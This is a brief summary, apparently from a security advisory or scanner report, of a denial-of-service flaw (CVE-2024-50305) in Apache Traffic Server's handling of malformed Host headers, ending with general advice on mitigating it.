    [+] Summary    :  A denial-of-service (DoS) vulnerability identified as CVE-2024-50305 affects Apache Traffic Server due to improper handling and validation of malformed or unexpected Host header values in incoming HTTP requests.
                      An attacker may send specially crafted requests containing abnormal, oversized, or non-standard Host header values. Under certain conditions, 
    				  this may lead to service instability, excessive resource consumption, unexpected connection termination, or potential process crashes, resulting in temporary denial of service.
                     The issue highlights insufficient input validation within HTTP request parsing logic. Proper boundary checks, strict header validation, and adherence to RFC standards are recommended to mitigate the risk
